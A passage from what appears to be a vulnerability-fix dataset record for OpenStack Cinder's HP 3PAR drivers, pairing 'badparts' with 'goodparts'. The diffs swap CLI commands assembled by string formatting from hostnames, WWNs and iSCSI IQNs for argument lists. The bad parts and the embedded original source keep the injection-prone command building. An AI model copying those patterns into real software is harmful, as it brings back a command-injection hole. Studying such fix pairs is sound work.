self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)", " self._cli_run('removevvset -f %s' % (vvs_name), None)", " self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)"], "goodparts": [" self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['createvvset', '-domain', domain, vvs_name])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])", " self._cli_run(['removevvset', '-f', vvs_name])", " self._cli_run(['removevvset', '-f', vvs_name, volume_name])"]}, {"diff": "\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n", "add": 6, "remove": 6, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = 'createvvcopy -p %s -online ' % src_name", " cmd += '-snp_cpg %s ' % snap_cpg", " cmd += '-tpvv '", " cmd += cpg + ' '", " cmd += dest_name", " self._cli_run(cmd, None)"], "goodparts": [" cmd = ['createvvcopy', '-p', src_name, '-online']", " cmd.extend(['-snp_cpg', snap_cpg])", " cmd.append('-tpvv')", " cmd.append(cpg)", " cmd.append(dest_name)", " self._cli_run(cmd)"]}, {"diff": "\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = \"removevv -f %s\" % volume_name", " out = self._cli_run(cmd, None)"], "goodparts": [" cmd = ['removevv', '-f', volume_name]", " out = self._cli_run(cmd)"]}, {"diff": "\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list)", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -d', None)"], "goodparts": [" out = self._cli_run(['showhost', '-d'])"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_fc.py": {"changes": [{"diff": "\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"", "add": 13, "remove": 7, "filename": "/cinder/volume/drivers/san/hp/hp_3par_fc.py", "badparts": [" def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):", " out = self.common._cli_run('createhost -persona %s -domain %s %s %s'", " % (persona_id, domain,", " hostname, \" \".join(wwn)), None)", " def _modify_3par_fibrechan_host(self, hostname, wwn):", " out = self.common._cli_run('createhost -add %s %s'", " % (hostname, \" \".join(wwn)), None)"], "goodparts": [" def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):", " command = ['createhost', '-persona', persona_id, '-domain', domain,", " hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)", " def _modify_3par_fibrechan_host(self, hostname, wwns):", " command = ['createhost', '-add', hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR Fibre Channel Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver \"\"\" from hp3parclient import exceptions as hpexceptions from oslo.config import cfg from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) class HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver): \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware, copy volume <--> Image. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARFCDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='FC' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. The driver returns a driver_volume_type of 'fibre_channel'. The target_wwn can be a single entry or a list of wwns that correspond to the list of remote wwn(s) that will export the volume. Example return values: { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn': '1234567890123', } } or { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn':['1234567890123', '0987654321321'], } } Steps to export a volume on 3PAR * Create a host on the 3par with the target wwn * Create a VLUN for that HOST with the volume we want to export. \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) ports=self.common.get_ports() self.common.client_logout() info={'driver_volume_type': 'fibre_channel', 'data':{'target_lun': vlun['lun'], 'target_discovered': True, 'target_wwn': ports['FC']}} return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['wwpns']) self.common.client_logout() def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same wwn but with a different hostname, return the hostname used by 3PAR. \"\"\" out=self.common._cli_run('createhost -persona %s -domain %s %s %s' %(persona_id, domain, hostname, \" \".join(wwn)), None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_fibrechan_host(self, hostname, wwn): out=self.common._cli_run('createhost -add %s %s' %(hostname, \" \".join(wwn)), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['FCPaths']: self._modify_3par_fibrechan_host(hostname, connector['wwpns']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound as ex: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_fibrechan_host(hostname, connector['wwpns'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR Fibre Channel Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver\n\"\"\"\n\nfrom hp3parclient import exceptions as hpexceptions\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\n\n\nclass HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver):\n \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware,\n copy volume <--> Image.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(HP3PARFCDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password',\n 'san_ip', 'san_login', 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'FC'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n The driver returns a driver_volume_type of 'fibre_channel'.\n The target_wwn can be a single entry or a list of wwns that\n correspond to the list of remote wwn(s) that will export the volume.\n Example return values:\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': '1234567890123',\n }\n }\n\n or\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': ['1234567890123', '0987654321321'],\n }\n }\n\n\n Steps to export a volume on 3PAR\n * Create a host on the 3par with the target wwn\n * Create a VLUN for that HOST with the volume we want to export.\n\n \"\"\"\n self.common.client_login()\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n ports = self.common.get_ports()\n\n self.common.client_logout()\n info = {'driver_volume_type': 'fibre_channel',\n 'data': {'target_lun': vlun['lun'],\n 'target_discovered': True,\n 'target_wwn': ports['FC']}}\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['wwpns'])\n self.common.client_logout()\n\n def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n % (persona_id, domain,\n hostname, \" \".join(wwn)), None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n\n return hostname\n\n def _modify_3par_fibrechan_host(self, hostname, wwn):\n # when using -add, you can not send the persona or domain options\n out = self.common._cli_run('createhost -add %s %s'\n % (hostname, \" \".join(wwn)), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['FCPaths']:\n self._modify_3par_fibrechan_host(hostname, connector['wwpns'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound as ex:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_fibrechan_host(hostname,\n connector['wwpns'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py": {"changes": [{"diff": "\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n", "add": 5, "remove": 5, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\", " (persona_id, domain, hostname, iscsi_iqn)", " out = self.common._cli_run(cmd, None)", " self.common._cli_run('createhost -iscsi -add %s %s'", " % (hostname, iscsi_iqn), None)"], "goodparts": [" cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',", " domain, hostname, iscsi_iqn]", " out = self.common._cli_run(cmd)", " command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]", " self.common._cli_run(command)"]}, {"diff": "\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -host %s' % hostname, None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-host', hostname])"]}, {"diff": "\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts =", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -showcols Port', None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR iSCSI Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver \"\"\" import sys from hp3parclient import exceptions as hpexceptions from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) DEFAULT_ISCSI_PORT=3260 class HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver): \"\"\"OpenStack iSCSI driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARISCSIDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='iSCSI' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.iscsi_ips={} temp_iscsi_ip={} if len(self.configuration.hp3par_iscsi_ips) > 0: for ip_addr in self.configuration.hp3par_iscsi_ips: ip=ip_addr.split(':') if len(ip)==1: temp_iscsi_ip[ip_addr]={'ip_port': DEFAULT_ISCSI_PORT} elif len(ip)==2: temp_iscsi_ip[ip[0]]={'ip_port': ip[1]} else: msg=_(\"Invalid IP address format '%s'\") % ip_addr LOG.warn(msg) if(self.configuration.iscsi_ip_address not in temp_iscsi_ip): ip=self.configuration.iscsi_ip_address ip_port=self.configuration.iscsi_port temp_iscsi_ip[ip]={'ip_port': ip_port} iscsi_ports=self.common.get_ports()['iSCSI'] for(ip, iscsi_info) in iscsi_ports.iteritems(): if ip in temp_iscsi_ip: ip_port=temp_iscsi_ip[ip]['ip_port'] self.iscsi_ips[ip]={'ip_port': ip_port, 'nsp': iscsi_info['nsp'], 'iqn': iscsi_info['iqn'] } del temp_iscsi_ip[ip] if(self.configuration.iscsi_ip_address in temp_iscsi_ip): del temp_iscsi_ip[self.configuration.iscsi_ip_address] if len(temp_iscsi_ip) > 0: msg=_(\"Found invalid iSCSI IP address(s) in configuration \" \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\ (\", \".join(temp_iscsi_ip)) LOG.warn(msg) if not len(self.iscsi_ips) > 0: msg=_('At least one valid iSCSI IP address must be set.') raise exception.InvalidInput(reason=(msg)) self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): \"\"\"Clone an existing volume.\"\"\" self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } Steps to export a volume on 3PAR * Get the 3PAR iSCSI iqn * Create a host on the 3par * create vlun on the 3par \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) self.common.client_logout() iscsi_ip=self._get_iscsi_ip(host['name']) iscsi_ip_port=self.iscsi_ips[iscsi_ip]['ip_port'] iscsi_target_iqn=self.iscsi_ips[iscsi_ip]['iqn'] info={'driver_volume_type': 'iscsi', 'data':{'target_portal': \"%s:%s\" % (iscsi_ip, iscsi_ip_port), 'target_iqn': iscsi_target_iqn, 'target_lun': vlun['lun'], 'target_discovered': True } } return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['initiator']) self.common.client_logout() def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same iqn but with a different hostname, return the hostname used by 3PAR. \"\"\" cmd='createhost -iscsi -persona %s -domain %s %s %s' % \\ (persona_id, domain, hostname, iscsi_iqn) out=self.common._cli_run(cmd, None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_iscsi_host(self, hostname, iscsi_iqn): self.common._cli_run('createhost -iscsi -add %s %s' %(hostname, iscsi_iqn), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['iSCSIPaths']: self._modify_3par_iscsi_host(hostname, connector['initiator']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_iscsi_host(hostname, connector['initiator'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def _get_iscsi_ip(self, hostname): \"\"\"Get an iSCSI IP address to use. Steps to determine which IP address to use. * If only one IP address, return it * If there is an active vlun, return the IP associated with it * Return IP with fewest active vluns \"\"\" if len(self.iscsi_ips)==1: return self.iscsi_ips.keys()[0] nsp=self._get_active_nsp(hostname) if nsp is None: nsp=self._get_least_used_nsp(self._get_iscsi_nsps()) if nsp is None: msg=_(\"Least busy iSCSI port not found, \" \"using first iSCSI port in list.\") LOG.warn(msg) return self.iscsi_ips.keys()[0] return self._get_ip_using_nsp(nsp) def _get_iscsi_nsps(self): \"\"\"Return the list of candidate nsps.\"\"\" nsps=[] for value in self.iscsi_ips.values(): nsps.append(value['nsp']) return nsps def _get_ip_using_nsp(self, nsp): \"\"\"Return IP assiciated with given nsp.\"\"\" for(key, value) in self.iscsi_ips.items(): if value['nsp']==nsp: return key def _get_active_nsp(self, hostname): \"\"\"Return the active nsp, if one exists, for the given host.\"\"\" result=self.common._cli_run('showvlun -a -host %s' % hostname, None) if result: result=result[1:] for line in result: info=line.split(\",\") if info and len(info) > 4: return info[4] def _get_least_used_nsp(self, nspss): \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\" result=self.common._cli_run('showvlun -a -showcols Port', None) nsp_counts={} for nsp in nspss: nsp_counts[nsp]=0 current_least_used_nsp=None if result: result=result[1:] for line in result: nsp=line.strip() if nsp in nsp_counts: nsp_counts[nsp]=nsp_counts[nsp] +1 current_smallest_count=sys.maxint for(nsp, count) in nsp_counts.iteritems(): if count < current_smallest_count: current_least_used_nsp=nsp current_smallest_count=count return current_least_used_nsp def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2012-2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR iSCSI Driver along with the required 